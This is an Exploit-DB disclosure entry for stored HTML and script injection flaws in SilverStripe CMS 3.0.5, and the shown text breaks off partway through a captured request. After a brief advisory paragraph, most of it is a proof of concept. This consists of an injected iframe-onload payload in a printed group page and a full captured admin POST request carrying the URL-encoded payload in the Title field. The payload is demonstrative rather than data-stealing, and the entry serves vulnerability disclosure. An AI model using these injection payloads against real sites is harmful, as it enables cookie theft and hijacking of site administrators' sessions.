Exploit-DB #38780
Description: SilverStripe CMS - Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2013-09-23
Author: Benjamin Kunz Mejri

Exploit:
source: https://www.securityfocus.com/bid/62782/info

SilverStripe is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and control how the site is rendered to the user; other attacks are also possible.

SilverStripe 3.0.5 is vulnerable; other versions may also be affected. 

Proof of Concept:
=================
1.1
The first persistent input validation web vulnerability can be exploited 
by remote attackers with low privileged application user accounts and 
low required user interaction. For demonstration or reproduce ...


PoC: Groups & Rollen (Roles) - Print 

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" 
lang="en"><head>
<title>SilverStripe - Sicherheit</title>
<link rel="stylesheet" type="text/css" 
href="/framework/css/GridField_print.css?m=[PII_REDACTED]">
</head>
<body onload="window.print();">
<h3>SilverStripe - Sicherheit</h3>
<table>
<thead>
<tr><th>Vorname</th><th>Nachname</th><th>E-Mail</th></tr>
</thead>
<tbody>	
</tbody>
</table>
<p>
Gedruckt am 11:44pm, 22/09/2013
<br>
Gedruckt von a%20>"<iframe src="a" onload="alert("BKM")<" a%20="" 
a%20<="">>"<iframe src=a onload=alert("BKM")<
</p>
</body>
</html>
</iframe></p></body></html>


POST 
http://www.example.com/admin/security/EditForm/field/Groups/item/new/ItemEditForm 
Load Flags[LOAD_BYPASS_CACHE  LOAD_BACKGROUND  ] 
Content Size[20] Mime Type[text/html]
   
Request Headers:
Host[www.example.com]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 
Firefox/23.0]
Accept[*/*]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Pjax[CurrentForm,Breadcrumbs]
X-Requested-With[XMLHttpRequest]
Referer[http://www.example.com/admin/security/EditForm/field/Groups/item/new]
Content-Length[336]
Cookie[__utma=[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED].1; 
__utmb=1.8.10[PII_REDACTED]; __utmc=1; 
__utmz=[PII_REDACTED].1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); 
PHPSESSID=3cdf3fce42b710fc8e1da69d18cc0dc4; PastMember=1; 
cms-panel-collapsed-cms-content-tools-CMSPagesController=true; 
cms-panel-collapsed-cms-menu=false; 
cms-panel-collapsed-cms-content-tools-ModelAdmin=false; 
__utma=[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED].1; 
__utmc=1; 
__utmz=[PII_REDACTED].1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); 
cms-panel-collapsed-cms-content-tools-AssetAdmin=true; 
cms-panel-collapsed-cms-content-tools-CMSMain=false; 
cms-panel-collapsed-cms-content-tools-CMSPageHistoryController=false]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
   
Post Data:
Title[a%2520%3C%2F%3E%3E%22%3Ciframe+src%3Da+onload%3Dalert(%22BKM%22)%3C++++a%2520%3C%2F%3E%3E%22%3Ciframe+src%3Da+onload%3Dalert(%22BKM%22)%3C]
ParentID[]
ID[]
SecurityID[1d6ca7e871bd6ec855f9409e25e030359c5b435f]
action_doSave[1]
BackURL[http%3A%2F%2Fwww.example.com%2Fadmin%2Fsecurity%2FEditForm%2Ffield%2FGroups%2Fitem%2Fnew%2F]


Response Headers:
Server[nginx]
Date[Sun, 22 Sep 2013 11:44:20 GMT]
Content-Type[text/html; charset=utf-8]
Connection[keep-alive]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-cache, max-age=0, must-revalidate]
Pragma[no-cache]
Set-Cookie[PastMember=1; expires=Sat, 21-Dec-2013 11:44:20 GMT; path=/; 
httponly]
X-ControllerURL[admin/security/EditForm/field/Groups/item/4]
X-Pjax[CurrentForm,Breadcrumbs]
X-Controller[SecurityAdmin]
X-Title[SilverStripe - Sicherheit]
X-Include-JS[/assets/_combinedfiles/lib.js?m=[PII_REDACTED],/framework/thirdparty/tinymce/tiny_mce_gzip.php?m=[PII_REDACTED]&js=1&
plugins=contextmenu%2Ctable%2Cemotions%2Cpaste%2Cspellchecker%2Cmedia%2Cfullscreen
%2Cinlinepopups&themes=advanced&languages=de&diskcache=true&src=false,/assets/_combinedfiles/leftandmain.js?
m=[PII_REDACTED],/framework/admin/javascript/SecurityAdmin.js?m=[PII_REDACTED],/framework/javascript/PermissionCheckboxSetField.js?m=[PII_REDACTED]]
X-Include-CSS[/framework/admin/thirdparty/jquery-notice/jquery.notice.css?m=[PII_REDACTED],/framework/thirdparty/jquery-ui-themes/smoothness/jquery-ui.css?
m=[PII_REDACTED],/framework/admin/thirdparty/chosen/chosen/chosen.css?m=[PII_REDACTED],/framework/thirdparty/jstree/themes/apple/style.css?
m=[PII_REDACTED],/framework/css/TreeDropdownField.css?m=[PII_REDACTED],/framework/admin/css/screen.css?m=[PII_REDACTED],/framework/css/GridField.css?m=[PII_REDACTED]]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[20]


Status: 200[OK]
GET http://www.example.com/admin/security/EditForm/field/Groups/item/4 
Load Flags[LOAD_BACKGROUND  ] 
Content Size[3966] Mime Type[text/html]


Request Headers:
Host[www.example.com]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 
Firefox/23.0]
Accept[*/*]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
X-Pjax[CurrentForm,Breadcrumbs]
X-Requested-With[XMLHttpRequest]
Referer[http://www.example.com/admin/security/EditForm/field/Groups/item/4]
Cookie[__utma=[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED].1; 
__utmb=1.8.10[PII_REDACTED]; __utmc=1;
 
__utmz=[PII_REDACTED].1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); 
PHPSESSID=3cdf3fce42b710fc8e1da69d18cc0dc4; PastMember=1; 
cms-panel-collapsed-cms-content-tools-CMSPagesController=true; 
cms-panel-collapsed-cms-menu=false; 
cms-panel-collapsed-cms-content-tools-ModelAdmin=false; 
__utma=[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED].1; __utmc=1; 
__utmz=[PII_REDACTED].1.1.utmcsr=google|utmccn=(organic)|utmcmd=
organic|utmctr=(not%20provided); 
cms-panel-collapsed-cms-content-tools-AssetAdmin=true; 
cms-panel-collapsed-cms-content-tools-CMSMain=false; 
cms-panel-collapsed-cms-content-tool